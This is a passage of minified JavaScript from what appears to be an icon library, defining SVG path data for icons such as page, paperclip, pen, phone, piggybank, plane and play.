c-88.462,0-165.011,95.541-221.36,276.299c-5.283,16.946-10.315,34.485-15.11,52.516 c-114.534-66.392-216.675-103.924-292.49-103.924c-45.424,0-81.41,12.958-106.972,38.52c-62.554,62.554-49.121,184.241,38.85,351.9 c8.216,15.659,17.021,31.547,26.334,47.619c-17.951,4.778-35.416,9.789-52.296,15.054C96.204,734.99,0.658,811.534,0.658,899.996 c0,88.469,95.546,165.01,276.299,221.366c16.88,5.262,34.345,10.268,52.296,15.055c-9.313,16.071-18.118,31.959-26.334,47.618 c-87.971,167.659-101.404,289.342-38.85,351.892c25.562,25.565,61.552,38.528,106.972,38.528 c75.815,0,177.957-37.536,292.49-103.924c4.799,18.022,9.827,35.561,15.11,52.512c56.349,180.753,132.893,276.3,221.36,276.3 c88.464,0,165.013-95.547,221.362-276.3c5.279-16.951,10.312-34.481,15.106-52.512c114.534,66.388,216.666,103.915,292.485,103.915 c45.424,0,81.415-12.963,106.973-38.52c62.558-62.55,49.12-184.232-38.846-351.892c-8.221-15.659-17.021-31.547-26.339-47.618 c17.952-4.787,35.42-9.793,52.301-15.055C1703.797,1065.006,1799.344,988.465,1799.344,899.996z M1481.194,1068.176 c-14.5,4.198-29.396,8.229-44.659,12.076c-9.125,2.301-18.355,4.549-27.736,6.718c-12.313,2.854-24.854,5.587-37.589,8.212 c7.123,10.83,14.043,21.605,20.719,32.303c5.12,8.194,10.073,16.345,14.912,24.45c8.046,13.455,15.686,26.77,22.949,39.935 c3.952,7.175,7.825,14.325,11.549,21.411c70.717,134.796,89.442,238.764,50.078,278.128c-13.322,13.331-34.34,20.085-62.462,20.085 c-60.529,0-143.164-29.456-237.269-81.607c-13.052-7.229-26.313-14.896-39.769-22.976c-8.071-4.848-16.213-9.854-24.415-14.991 c-10.662-6.692-21.438-13.622-32.302-20.806c-2.635,12.769-5.376,25.346-8.23,37.685c-2.15,9.301-4.382,18.444-6.666,27.499 c-3.864,15.343-7.912,30.317-12.128,44.896c-2.267,7.808-4.559,15.536-6.921,23.107 c-45.301,145.325-105.584,232.088-161.254,232.088c-55.673,0-115.957-86.763-161.256-232.088c-2.362-7.571-4.655-15.3-6.917-23.107 c-4.22-14.579-8.269-29.554-12.137-44.905c-2.279-9.046-4.506-18.189-6.661-27.49c-2.854-12.339-5.595-24.916-8.229-37.685 c-10.869,7.175-21.641,14.113-32.311,20.806c-8.199,5.137-16.336,10.144-24.407,14.991c-13.455,8.08-26.721,15.747-39.767,22.976 c-94.105,52.151-176.745,81.617-237.274,81.617c-28.118,0-49.13-6.764-62.453-20.087c-39.368-39.363-20.648-143.34,50.078-278.136 c3.715-7.086,7.593-14.236,11.549-21.411c7.254-13.165,14.904-26.479,22.94-39.935c4.843-8.105,9.797-16.256,14.912-24.45 c6.675-10.697,13.596-21.473,20.723-32.303c-12.735-2.625-25.276-5.357-37.59-8.212c-9.384-2.169-18.61-4.417-27.735-6.718 c-15.269-3.847-30.16-7.878-44.659-12.076c-7.808-2.267-15.537-4.559-23.111-6.921C150.37,1015.954,63.611,955.671,63.611,899.996 c0-55.673,86.758-115.952,232.084-161.257c7.575-2.362,15.304-4.655,23.111-6.916c14.504-4.203,29.39-8.225,44.659-12.076 c9.121-2.297,18.351-4.545,27.735-6.719c12.313-2.851,24.855-5.582,37.585-8.212c-7.127-10.833-14.043-21.601-20.719-32.297 c-5.115-8.199-10.069-16.345-14.917-24.451c-8.036-13.455-15.682-26.77-22.94-39.935c-3.952-7.18-7.834-14.329-11.549-21.412 c-70.722-134.795-89.446-238.772-50.074-278.144c13.323-13.323,34.335-20.077,62.453-20.077c60.529,0,143.165,29.457,237.27,81.612 c13.046,7.228,26.313,14.899,39.771,22.979c8.071,4.848,16.205,9.845,24.407,14.992c10.666,6.692,21.438,13.622,32.311,20.806 c2.635-12.769,5.375-25.346,8.229-37.694c2.155-9.297,4.382-18.443,6.661-27.485c3.869-15.352,7.913-30.326,12.137-44.905 c2.262-7.808,4.555-15.541,6.917-23.111C784.045,150.369,844.329,63.61,900.001,63.61c55.67,0,115.954,86.758,161.254,232.084 c2.362,7.57,4.654,15.308,6.921,23.115c4.225,14.579,8.264,29.545,12.138,44.897c2.274,9.046,4.506,18.197,6.656,27.493 c2.854,12.344,5.596,24.921,8.23,37.686c10.873-7.179,21.64-14.109,32.311-20.801c8.203-5.146,16.335-10.144,24.406-14.992 c13.455-8.08,26.727-15.751,39.769-22.979c94.104-52.151,176.739-81.612,237.269-81.612c28.122,0,49.14,6.758,62.462,20.086 c39.364,39.363,20.639,143.34-50.078,278.135c-3.724,7.079-7.597,14.228-11.549,21.408c-7.264,13.165-14.903,26.483-22.949,39.938 c-4.839,8.106-9.792,16.248-14.912,24.451c-6.676,10.693-13.587,21.465-20.719,32.297c12.735,2.63,25.276,5.362,37.589,8.212 c9.381,2.173,18.611,4.421,27.736,6.719c15.264,3.851,30.159,7.877,44.659,12.076c7.808,2.261,15.536,4.554,23.107,6.916 c145.325,45.305,232.088,105.584,232.088,161.257c0,55.675-86.763,115.958-232.088,161.259 C1496.73,1063.617,1489.002,1065.909,1481.194,1068.176z"}),(0,o.createElement)("path",{d:"M704.532,852.061c82.828,0,150.217-67.388,150.217-150.217c0-82.828-67.389-150.217-150.221-150.217 c-82.828,0-150.217,67.384-150.217,150.212C554.311,784.672,621.7,852.061,704.532,852.061z M704.528,614.58 c48.12,0,87.268,39.148,87.268,87.264s-39.148,87.264-87.264,87.264c-48.12,0-87.268-39.148-87.268-87.268 C617.264,653.725,656.413,614.58,704.528,614.58z"}),(0,o.createElement)("path",{d:"M1101.972,949.058c-82.837,0-150.226,67.389-150.226,150.227c0,82.828,67.389,150.207,150.226,150.207 c82.829,0,150.208-67.379,150.208-150.207C1252.18,1016.446,1184.801,949.058,1101.972,949.058z M1101.972,1186.538 c-48.119,0-87.271-39.144-87.271-87.254c0-48.129,39.152-87.273,87.271-87.273c48.11,0,87.255,39.145,87.255,87.273 C1189.227,1147.395,1150.082,1186.538,1101.972,1186.538z"}),(0,o.createElement)("path",{d:"M1198.448,561.357l-634.397,634.403c-12.291,12.295-12.291,32.223,0,44.519 c6.147,6.138,14.206,9.212,22.26,9.212c8.053,0,16.111-3.074,22.259-9.212l634.397-634.402c12.287-12.295,12.287-32.224,0-44.52 C1230.672,549.071,1210.744,549.071,1198.448,561.357z"})),page:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1720.335,5.563H85.245c-43.937,0-79.679,35.739-79.679,79.667v1635.1c0,43.928,35.743,79.67,79.679,79.67 h1635.09c43.927,0,79.665-35.742,79.665-79.67V85.23C1800,41.302,1764.262,5.563,1720.335,5.563z M85.245,68.575h1635.09 c9.182,0,16.653,7.473,16.653,16.655v195.532H68.578V85.23C68.578,76.048,76.055,68.575,85.245,68.575z M1720.335,1736.988H85.245 c-9.19,0-16.667-7.472-16.667-16.658V343.774h1668.41V1720.33C1736.988,1729.517,1729.517,1736.988,1720.335,1736.988z"}),(0,o.createElement)("path",{d:"M1518.679,1150.928H333.948c-47.154,0-85.517,38.363-85.517,85.517v315.061 c0,47.152,38.363,85.516,85.517,85.516h1184.73c47.154,0,85.518-38.363,85.518-85.516v-315.061 C1604.196,1189.291,1565.833,1150.928,1518.679,1150.928z M1541.184,1551.505c0,12.403-10.096,22.504-22.505,22.504H333.948 c-12.409,0-22.504-10.101-22.504-22.504v-315.061c0-12.412,10.096-22.505,22.504-22.505h1184.73 c12.409,0,22.505,10.093,22.505,22.505V1551.505z"}),(0,o.createElement)("path",{d:"M333.948,913.886h305.565c47.153,0,85.517-38.365,85.517-85.519V522.802 c0-47.154-38.363-85.516-85.517-85.516H333.948c-47.154,0-85.517,38.362-85.517,85.516v305.565 C248.432,875.521,286.794,913.886,333.948,913.886z M311.444,522.802c0-12.408,10.096-22.504,22.504-22.504h305.565 c12.408,0,22.505,10.096,22.505,22.504v305.565c0,12.408-10.097,22.505-22.505,22.505H333.948 c-12.409,0-22.504-10.097-22.504-22.505V522.802z"}),(0,o.createElement)("path",{d:"M1572.689,996.396H279.938c-17.401,0-31.506,14.108-31.506,31.505c0,17.406,14.105,31.507,31.506,31.507 h1292.751c17.401,0,31.507-14.101,31.507-31.507C1604.196,1010.505,1590.091,996.396,1572.689,996.396z"}),(0,o.createElement)("path",{d:"M1572.689,832.116H858.558c-17.402,0-31.507,14.105-31.507,31.507c0,17.401,14.105,31.505,31.507,31.505 h714.132c17.401,0,31.507-14.104,31.507-31.505C1604.196,846.222,1590.091,832.116,1572.689,832.116z"}),(0,o.createElement)("path",{d:"M1572.689,643.081H858.558c-17.402,0-31.507,14.105-31.507,31.506c0,17.401,14.105,31.505,31.507,31.505 h714.132c17.401,0,31.507-14.104,31.507-31.505C1604.196,657.186,1590.091,643.081,1572.689,643.081z"}),(0,o.createElement)("path",{d:"M1572.689,454.044H858.558c-17.402,0-31.507,14.105-31.507,31.507c0,17.401,14.105,31.505,31.507,31.505 h714.132c17.401,0,31.507-14.104,31.507-31.505C1604.196,468.15,1590.091,454.044,1572.689,454.044z"}),(0,o.createElement)("circle",{cx:"204.913",cy:"171.616",r:"50.635"}),(0,o.createElement)("circle",{cx:"364.694",cy:"171.616",r:"50.635"}),(0,o.createElement)("circle",{cx:"524.474",cy:"171.616",r:"50.635"})),paperclip:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M716.321,1752.834c-8.333,0-16.325-3.314-22.221-9.206l-466.26-466.276 c-12.274-12.271-12.274-32.169,0-44.439l952.941-952.92c5.892-5.895,13.884-9.204,22.217-9.204h314.732 c17.355,0,31.422,14.067,31.422,31.423V646.08c0,8.333-3.308,16.328-9.201,22.219L811.41,1396.841 c-12.274,12.271-32.168,12.271-44.443,0c-12.27-12.271-12.27-32.168,0-44.438l719.34-719.338v-299.43h-270.294L294.496,1255.13 l421.825,421.837L1731.096,662.206V110.013h-646.917c-47.596,45.638-273.575,262.253-499.232,477.519 C70.333,1078.448,59.475,1083.884,51.54,1087.847c-15.519,7.76-34.396,1.474-42.159-14.046 c-7.272-14.545-2.205-32.045,11.24-40.575c38.95-30.131,635.69-599.891,1029.176-977.313c5.853-5.611,13.646-8.746,21.752-8.746 h690.97c17.352,0,31.424,14.068,31.424,31.424v596.634c0,8.33-3.314,16.325-9.206,22.217L738.539,1743.628 C732.646,1749.52,724.655,1752.834,716.321,1752.834z"})),pen:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1741.402,786.797h-35.999c-32.197-298.013-226.637-548.089-492.951-659.834h305.92v31.245 c0,17.376,14.079,31.46,31.461,31.46h125.409c17.381,0,31.459-14.084,31.459-31.46V32.798c0-17.375-14.078-31.46-31.459-31.46 h-125.409c-17.382,0-31.461,14.084-31.461,31.46v31.245H994.163V32.798c0-17.375-14.079-31.46-31.46-31.46H837.287 c-17.376,0-31.46,14.084-31.46,31.46v31.245H281.618V32.798c0-17.375-14.084-31.46-31.46-31.46H124.751 c-17.375,0-31.459,14.084-31.459,31.46v125.41c0,17.376,14.084,31.46,31.459,31.46h125.406c17.375,0,31.46-14.084,31.46-31.46 v-31.245H587.55C321.228,238.708,126.792,488.785,94.596,786.797H58.597c-17.376,0-31.46,14.084-31.46,31.46v125.409 c0,17.375,14.083,31.459,31.46,31.459h125.418c17.376,0,31.46-14.084,31.46-31.459V818.257c0-17.375-14.083-31.46-31.46-31.46 h-26.088c39.887-339.954,308.838-610.875,647.899-653.703v25.114c0,17.376,14.084,31.46,31.46,31.46h125.417 c17.381,0,31.46-14.084,31.46-31.46v-25.116c339.064,42.821,608.012,313.747,647.908,653.706h-26.08 c-17.38,0-31.46,14.084-31.46,31.46v125.409c0,17.375,14.08,31.459,31.46,31.459h125.411c17.38,0,31.46-14.084,31.46-31.459 V818.257C1772.862,800.882,1758.782,786.797,1741.402,786.797z M1643.782,126.748h-62.49V95.503V64.258h62.49V126.748z M156.212,64.258h62.485v62.49h-62.485V64.258z M152.556,877.923v34.282H90.057V877.98v-20.505 c0.052-2.589,0.119-5.174,0.193-7.758h62.306V877.923z M900.005,64.258c10.461,0,20.871,0.266,31.237,0.661v61.829h-62.496V64.918 C879.122,64.524,889.533,64.258,900.005,64.258z M1709.941,857.82v20.132v34.253h-62.489V877.98v-28.263h62.287 C1709.828,852.415,1709.889,855.116,1709.941,857.82z"}),(0,o.createElement)("path",{d:"M928.829,250.905c-5.003-11.464-16.327-18.875-28.833-18.875c-12.509,0-23.828,7.411-28.831,18.875 l-409.868,939.046c-3.283,7.523-3.497,16.025-0.601,23.701l0.487,1.291c3.335,8.838,10.468,15.707,19.421,18.713 c98.036,32.9,163.906,124.49,163.906,227.906c0,43.082-11.574,85.383-33.466,122.33c-0.68,1.145-1.259,2.33-1.782,3.541 c-3.559,5.096-5.662,11.285-5.662,17.973v159.314c0,17.285,13.948,31.338,31.231,31.463l529.877,3.816c0.079,0,0.159,0,0.238,0 c17.266,0,31.328-13.939,31.45-31.23c0.122-17.377-13.859-31.566-31.23-31.689l-498.646-3.59v-79.055h486.778 c13.14,0,24.902-8.168,29.484-20.479l8.585-23.059c3.318-8.91,2.432-18.84-2.423-27.02c-21.884-36.934-33.452-79.23-33.452-122.316 c0-103.416,65.86-195.006,163.901-227.906c8.979-3.018,16.125-9.924,19.452-18.801l0.482-1.291 c2.861-7.654,2.634-16.121-0.632-23.613L928.829,250.905z M899.996,1126.566c34.811,0,63.138,28.318,63.138,63.123 c0,34.809-28.327,63.125-63.138,63.125c-34.809,0-63.126-28.316-63.126-63.125C836.87,1154.885,865.187,1126.566,899.996,1126.566z M1092.571,1461.563c0,45.088,10.052,89.504,29.241,129.953H678.187c19.198-40.457,29.244-84.869,29.244-129.953 c0-119.287-69.455-226.105-175.883-275.271l336.988-772.079v653.407c-54.331,14.008-94.586,63.43-94.586,122.07 c0,69.504,56.543,126.045,126.047,126.045c69.51,0,126.058-56.541,126.058-126.045c0-58.646-40.265-108.063-94.601-122.07V414.214 l336.994,772.077C1162.023,1235.467,1092.571,1342.275,1092.571,1461.563z"})),phone:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1767.747,1435.832c-8.327-8.648-16.937-17.587-27.429-25.664 c-103.501-79.709-216.736-152.819-346.173-223.501c-20.847-11.386-37.313-20.372-55.837-20.372 c-24.734,0-41.76,15.473-63.32,35.063c-23.946,21.767-47.108,43.659-69.258,65.44c-12.17,11.963-24.041,23.89-35.543,35.738 c-2.982,3.074-6.067,5.62-9.285,7.808c-11.248,7.644-24.399,10.098-42.976,8.472c-48.55-4.284-97.64-18.685-150.077-44.016 c-90.392-43.678-173.444-109.723-253.898-201.906C614.263,958.662,545.58,840.776,503.974,712.499l-3.809-11.659 c-5.327-16.218-11.359-34.603-10.182-38.525c0.732-2.462,4.585-7.013,10.156-12.735c6.298-6.481,14.801-14.471,23.58-22.712 l3.199-2.999c6.12-5.753,12.417-11.45,18.768-17.112c14.514-12.941,29.429-25.659,44.021-38.067 c15.198-12.918,30.911-26.278,46.175-39.916c36.324-32.467,44.016-51.174,17.996-97.932 c-50.232-90.262-107.172-192.566-167.25-292.054c-17.626-29.176-39.149-55.296-59.957-80.559 c-8.996-10.923-18.302-22.216-26.94-33.365c-5.914-7.636-15.033-12.104-24.695-12.104h-10.034c-7.396,0-14.548,2.624-20.193,7.401 c-98.015,83.013-177.31,183.569-253.999,280.813L76.278,319.39c-14.47,18.318-27.646,37.487-40.386,56.02 c-5.758,8.373-11.515,16.75-17.382,25.036c-3.74,5.278-5.749,11.589-5.749,18.058v26.748c0,2.158,0.223,4.307,0.667,6.417 c2.262,10.778,4.376,21.596,6.495,32.414c4.698,24.042,9.563,48.903,16.065,73.441c34.742,131.062,92.31,257.189,175.989,385.601 c178.238,273.49,402.429,500.615,666.353,675.062c121.573,80.354,239.724,131.476,361.202,156.279 c17.064,3.487,34.209,6.167,50.79,8.757c7.509,1.172,15.019,2.349,22.516,3.596c1.695,0.284,3.413,0.423,5.13,0.423h63.53 c5.287,0,10.491-1.342,15.12-3.901c127.227-70.352,238.143-158.521,329.863-235.488c13.378-11.224,25.184-23.466,36.6-35.303 c4.938-5.117,9.877-10.238,14.915-15.237c5.914-5.867,9.244-13.852,9.244-22.187v-6.685c0-8.421-3.399-16.489-9.432-22.369 C1774.39,1442.736,1771.068,1439.283,1767.747,1435.832z M366.832,83.813c3.892,4.772,7.78,9.493,11.611,14.148 c20.28,24.612,39.431,47.866,54.7,73.132c59.503,98.534,116.155,200.328,166.135,290.131c2.549,4.585,4.494,8.242,5.818,10.961 c-3.278,3.226-7.911,7.361-10.857,9.994c-14.684,13.128-30.1,26.23-45.006,38.904c-15.778,13.416-31.944,27.176-47.81,41.407 l-300.029-300.03C252.538,199.507,306.375,137.786,366.832,83.813z M1373.382,1724.754h-52.847 c-6.854-1.123-13.708-2.196-20.568-3.268c-16.603-2.594-32.289-5.047-47.932-8.242c-113.5-23.176-224.475-71.322-339.252-147.188 c-256.744-169.703-474.92-390.765-648.46-657.046C184.335,786.255,129.4,666.046,96.384,541.518 c-5.971-22.547-10.426-45.32-15.141-69.432c-1.961-10.028-3.927-20.058-5.998-30.06v-13.647c4.071-5.84,8.103-11.707,12.138-17.574 c12.719-18.506,24.74-35.988,37.928-52.682l14.563-18.455c7.375-9.353,14.784-18.741,22.224-28.134l293.867,293.866 c-13.333,13.698-21.64,24.939-25.846,39.004c-6.791,22.7-0.214,42.731,10.674,75.917l3.748,11.454 c44.257,136.467,116.984,261.484,222.334,382.201c86.104,98.661,175.663,169.671,273.792,217.084 c59.367,28.683,115.554,45.036,171.779,49.997c5.417,0.478,10.709,0.718,15.725,0.718c0.005,0,0.005,0,0.005,0 c30.471,0,55.886-8.813,77.315-26.844l291.775,291.773C1457.921,1674.061,1416.589,1700.514,1373.382,1724.754z M1686.313,1499.989 c-41.934,35.194-87.985,72.757-137.669,109.723l-298.73-298.731c21.453-21.078,43.89-42.285,67.095-63.382 c6.604-6.001,17.274-15.694,22.111-18.533c5.235,1.604,17.492,8.299,25.084,12.44c126.542,69.104,237.096,140.467,337.992,218.171 c4.476,3.443,8.878,7.602,13.372,12.126C1705.725,1481.992,1696.311,1491.6,1686.313,1499.989z"}),(0,o.createElement)("path",{d:"M1659.155,901.129c-66.448,0-120.505-54.059-120.505-120.505c0-258.807-210.553-469.359-469.359-469.359 c-66.447,0-120.505-54.059-120.505-120.505c0-66.446,54.058-120.505,120.505-120.505c391.698,0,710.369,318.671,710.369,710.37 C1779.66,847.07,1725.6,901.129,1659.155,901.129z M1069.291,132.739c-31.992,0-58.021,26.028-58.021,58.021 c0,31.992,26.029,58.021,58.021,58.021c293.259,0,531.843,238.582,531.843,531.843c0,31.992,26.029,58.021,58.021,58.021 c31.991,0,58.021-26.029,58.021-58.021C1717.176,423.379,1426.534,132.739,1069.291,132.739z"}),(0,o.createElement)("path",{d:"M1348.582,982.494c-50.059,0-90.779-40.722-90.779-90.78c0-166.88-135.77-302.649-302.649-302.649 c-50.058,0-90.78-40.722-90.78-90.78c0-50.058,40.723-90.78,90.78-90.78c266.991,0,484.208,217.217,484.208,484.208 C1439.361,941.772,1398.64,982.494,1348.582,982.494z M955.153,469.99c-15.604,0-28.296,12.692-28.296,28.296 c0,15.604,12.692,28.295,28.296,28.295c201.334,0,365.133,163.799,365.133,365.133c0,15.604,12.692,28.295,28.296,28.295 s28.295-12.691,28.295-28.295C1376.877,659.173,1187.695,469.99,955.153,469.99z"})),picture:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1715.855,4.642H84.157c-43.845,0-79.514,35.665-79.514,79.501v1631.71 c0,43.836,35.669,79.505,79.514,79.505h1631.698c43.837,0,79.502-35.669,79.502-79.505V84.143 C1795.357,40.307,1759.692,4.642,1715.855,4.642z M1715.855,1732.477H84.157c-9.172,0-16.633-7.457-16.633-16.624v-197.206 l588.122-588.126l571.393,571.401c6.141,6.136,14.186,9.207,22.234,9.207c8.044,0,16.093-3.071,22.233-9.207 c12.276-12.281,12.276-32.187,0-44.468L677.878,863.827c-6.139-6.141-14.185-9.209-22.231-9.207 c-8.047-0.002-16.093,3.068-22.231,9.207L67.524,1429.715V84.143c0-9.163,7.461-16.619,16.633-16.619h1631.698 c9.164,0,16.62,7.456,16.62,16.619v1332.726l-553.04-553.041c-2.303-2.303-4.873-4.171-7.611-5.612 c-11.859-6.237-26.879-4.364-36.857,5.612l-123.512,123.521c-12.277,12.277-12.277,32.182,0.004,44.464 c6.137,6.136,14.186,9.206,22.229,9.206s16.093-3.07,22.233-9.211l101.279-101.283l571.393,571.397 c1.219,1.215,2.531,2.28,3.882,3.255v210.676C1732.476,1725.02,1725.02,1732.477,1715.855,1732.477z"}),(0,o.createElement)("path",{d:"M1088.885,560.165c0-97.651-79.443-177.1-177.095-177.1c-97.651,0-177.095,79.448-177.095,177.1 S814.139,737.26,911.79,737.26C1009.441,737.26,1088.885,657.816,1088.885,560.165z M911.79,674.379 c-62.978,0-114.213-51.236-114.213-114.214c0-62.982,51.236-114.218,114.213-114.218s114.214,51.235,114.214,114.218 C1026.004,623.143,974.768,674.379,911.79,674.379z"})),piggybank:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M389.053,664.285c-30.154,0-54.591,24.439-54.591,54.586c0,22.606,13.733,41.997,33.317,50.29 c6.537,2.769,13.729,4.301,21.273,4.301c28.696,0,52.168-22.153,54.368-50.288c0.113-1.425,0.218-2.85,0.218-4.303 C443.64,688.724,419.202,664.285,389.053,664.285z"}),(0,o.createElement)("path",{d:"M1784.638,612.476c-7.589-15.52-26.335-21.937-41.845-14.348c-15.513,7.593-21.94,26.326-14.344,41.844 c5.115,10.46,5.857,22.281,2.078,33.292c-3.775,11.01-11.617,19.892-22.081,25.013c-10.456,5.121-22.281,5.86-33.286,2.081 c-11.01-3.774-19.891-11.614-25.005-22.074c-1.384-2.824-3.138-5.337-5.171-7.528c-39.746-78.838-100.686-151.008-180.6-212.297 c-80.136-61.461-174.367-108.034-276.989-137.967c5.118-17.283,7.911-35.554,7.911-54.476c0-105.95-86.197-192.145-192.145-192.145 c-105.948,0-192.146,86.195-192.146,192.145c0,6.688,0.349,13.297,1.021,19.812c-32.27,3.014-64.099,7.53-95.344,13.521 c-116.002-90.762-248.975-143.138-369.332-143.138c-90.116,0-166.958,29.208-222.22,84.469c-12.214,12.217-12.214,32.021,0,44.235 l197.403,197.402c-70.858,60.392-124.577,129.99-159.247,205.276H35.549c-17.276,0-31.279,14.003-31.279,31.279v352.745 c0,17.276,14.003,31.279,31.279,31.279h127.749c39.331,85.403,103.151,163.506,188.72,229.133 c37.952,29.106,79.076,54.861,122.74,77.112v202.767c0,17.276,14.003,31.279,31.279,31.279h235.338 c17.276,0,31.279-14.003,31.279-31.279v-111.687c44.34,5.9,89.653,8.911,135.547,8.911c45.895,0,91.207-3.011,135.548-8.911 v111.687c0,17.276,14.003,31.279,31.279,31.279h235.338c17.276,0,31.279-14.003,31.279-31.279v-202.767 c43.664-22.251,84.788-48.006,122.739-77.112c151.375-116.094,234.74-271.212,234.74-436.782c0-44.354-6.039-87.947-17.708-130.25 c2.653,0.201,5.312,0.33,7.964,0.33c15.949,0,31.816-3.642,46.562-10.859c25.472-12.46,44.563-34.094,53.762-60.912 C1798.902,666.741,1797.105,637.945,1784.638,612.476z M873.575,266.017c0-71.454,58.134-129.586,129.587-129.586 c71.451,0,129.586,58.132,129.586,129.586c0,13.571-2.107,26.656-5.996,38.96c-6.916,21.897-19.506,41.294-36.031,56.472 c-23.08,21.192-53.832,34.155-87.559,34.155c-42.203,0-79.748-20.29-103.426-51.615c-13.375-17.701-22.294-38.933-25.144-62.024 C873.946,276.734,873.575,271.419,873.575,266.017z M1341.646,1338.048c-20.082,11.293-40.972,21.806-62.559,31.515v68.351v142.717 h-172.779v-90.814v-63.973c-20.497,4.39-41.372,8.09-62.559,11.118c-43.935,6.284-89.235,9.613-135.548,9.613 s-91.612-3.329-135.547-9.613c-21.186-3.028-42.063-6.729-62.559-11.118v63.973v90.814H537.316v-142.717v-68.351 c-21.587-9.709-42.477-20.222-62.559-31.515c-106.363-59.81-190.492-141.028-241.242-235.15 c-10.932-20.282-20.313-41.163-28.033-62.559h-66.154h-72.5V750.152h72.504h66.15c7.72-21.396,17.102-42.276,28.037-62.559 c32.078-59.496,77.479-113.835,133.431-160.87c15.902-13.369,32.641-26.152,50.183-38.292l-44.895-44.893L193.19,264.489 c40.884-30.012,93.538-45.719,154.172-45.719c92.887,0,195.104,35.962,289.278,99.542c21.792,14.714,43.158,30.901,63.876,48.477 c25.38-5.725,51.318-10.458,77.763-14.077c16.73-2.289,33.671-4.128,50.776-5.536c9.146,19.545,21.487,37.297,36.354,52.601 c-128.032,12.585-251.226,54.305-331.545,114.819c-13.798,10.395-16.556,30.007-6.162,43.806 c10.398,13.8,30.01,16.554,43.804,6.159c74.38-56.035,224.926-110.519,393.223-105.976 c130.494,3.53,313.018,43.535,441.491,214.062c6.148,8.163,15.518,12.461,25.004,12.461c6.555,0,13.166-2.053,18.8-6.299 c13.798-10.395,16.556-30.008,6.161-43.804c-82.227-109.14-197.932-183.846-334.365-218.031 c14.287-11.252,26.934-24.472,37.542-39.267c278.243,77.612,477.204,280.315,477.204,517.541 C1636.566,1076.444,1520.473,1237.489,1341.646,1338.048z"})),plane:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M386.031,992.783c-36.026-8.398-72.354-12.654-107.972-12.654c-140.65,0-250.633,66.393-273.68,165.215 c-1.902,8.152-0.486,16.732,3.936,23.842c4.422,7.112,11.486,12.173,19.642,14.076l297.505,69.352 c2.37,0.551,4.774,0.824,7.168,0.824c5.844,0,11.627-1.626,16.673-4.762c7.111-4.422,12.174-11.486,14.074-19.644l46.233-198.335 C413.567,1013.718,403.01,996.743,386.031,992.783z M309.05,1183.953l-231.384-53.941c30.558-52.924,106.292-86.74,200.393-86.74 c20.648,0,41.61,1.66,62.629,4.959L309.05,1183.953z"}),(0,o.createElement)("path",{d:"M769.296,1390.383l-198.337,46.234c-8.152,1.902-15.22,6.963-19.642,14.076 c-4.422,7.108-5.838,15.684-3.938,23.841l69.361,297.505c1.903,8.152,6.965,15.218,14.077,19.64 c5.045,3.136,10.826,4.761,16.67,4.761c2.396,0,4.801-0.272,7.17-0.823c63.591-14.834,114.127-64.375,142.315-139.501 c26.523-70.695,30.157-156.691,10.236-242.15C803.25,1396.986,786.289,1386.428,769.296,1390.383z M669.966,1722.238 l-53.923-231.293l135.68-31.629C769.719,1575.854,735.418,1683.973,669.966,1722.238z"}),(0,o.createElement)("path",{d:"M1749.964,50.705l-0.669-0.67C1717.513,19.196,1674.71,3.56,1622.073,3.56 c-141.686,0-344.219,115.18-542.012,300.716c-155.688-31.738-309.056-47.237-468.317-47.237 c-143.357,0-276.743,12.425-388.313,24.576c-13.887,1.516-25.129,11.972-27.64,25.713c-2.509,13.742,4.31,27.501,16.765,33.822 l575.578,292.233C677.958,774.113,589.367,902.18,528.54,1009.066c-96.224,169.086-117.785,276.479-65.928,328.311 c18.338,18.348,43.994,27.654,76.256,27.654c147.394,0,431.964-200.379,627.669-353.3l292.295,575.701 c5.453,10.733,16.42,17.278,28.145,17.278c1.876,0,3.779-0.167,5.682-0.516c13.742-2.506,24.198-13.75,25.713-27.637 c25.651-235.5,46.965-514.956-22.718-856.867c178.449-190.738,293.079-387.342,300.407-527.416 C1799.153,133.046,1783.649,85.412,1749.964,50.705z M825.871,581.728l-488.63-248.087c84.415-7.585,177.287-13.46,274.503-13.46 c140.48,0,276.26,12.367,413.262,37.684c-43.568,43.996-86.608,91.237-128.396,141.263c-13.574,16.305-26.884,32.478-39.965,48.533 L825.871,581.728z M1466.412,1462.885l-248.149-488.758l34.531-31.193c17.613-14.331,33.772-27.65,48.113-39.586 c49.902-41.688,97.145-84.785,141.197-128.521C1491.223,1040.145,1484.836,1261.03,1466.412,1462.885z M1733.003,188.981 c-6.84,130.833-127.706,327.336-309.389,514.582l-211.918,191.412c-309.505,252.092-564.693,406.916-672.828,406.916 c-14.9,0-25.53-3.08-31.608-9.162c-7.184-7.18-37.279-53.1,76.157-252.43c71.101-124.937,181.572-280.174,321.064-451.4 L1098.498,374.1c192.72-186.977,392.936-307.397,523.575-307.397c35.442,0,63.336,9.526,82.909,28.315 C1725.705,116.604,1735.13,148.214,1733.003,188.981z"})),play:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1407.629,872.813L693.082,460.273c-9.711-5.604-21.674-5.604-31.385,0 c-9.712,5.609-15.693,15.968-15.693,27.182v631.583c0,17.33,14.051,31.385,31.385,31.385s31.385-14.055,31.385-31.385V541.814 l620.392,358.18l-555.918,320.967c-15.014,8.669-20.154,27.864-11.489,42.874c5.815,10.07,16.363,15.692,27.213,15.692 c5.324,0,10.719-1.357,15.662-4.203l602.995-348.148c9.711-5.609,15.692-15.969,15.692-27.182 C1423.321,888.781,1417.34,878.421,1407.629,872.813z"}),(0,o.createElement)("path",{d:"M899.993,5.324c-493.322,0-894.67,401.352-894.67,894.679c0,493.322,401.348,894.674,894.67,894.674 